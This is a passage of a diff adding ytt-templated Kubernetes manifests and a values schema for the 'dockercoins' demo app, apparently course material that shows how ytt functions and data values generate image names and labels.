+#! Define and use functions, demonstrating how to generate labels.
+---
+#@ repository = "dockercoins"
+#@ tag = "v0.1"
+#@ def image(component):
+#@   return "{}/{}:{}".format(repository, component, tag)
+#@ end
+#@ def labels(component):
+#@   return {
+#@     "app": component,
+#@     "container.training/generated-by": "ytt",
+#@   }
+#@ end
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("hasher")
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: #@ image("hasher")
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("hasher")
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("redis")
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("redis")
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("rng")
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: #@ image("rng")
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("rng")
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("webui")
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: #@ image("webui")
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("webui")
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("worker")
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: #@ image("worker")
+        name: worker

k8s/ytt/4-data/app.yaml

@@ -0,0 +1,162 @@
+---
+#@ load("@ytt:data", "data")
+#@ def image(component):
+#@   return "{}/{}:{}".format(data.values.repository, component, data.values.tag)
+#@ end
+#@ def labels(component):
+#@   return {
+#@     "app": component,
+#@     "container.training/generated-by": "ytt",
+#@   }
+#@ end
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("hasher")
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: #@ image("hasher")
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("hasher")
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("redis")
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("redis")
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("rng")
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: #@ image("rng")
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("rng")
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("webui")
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: #@ image("webui")
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("webui")
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("worker")
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: #@ image("worker")
+        name: worker

k8s/ytt/4-data/schema.yaml

@@ -0,0 +1,4 @@
+#@data/values-schema
+---
+repository: dockercoins
+tag: v0.1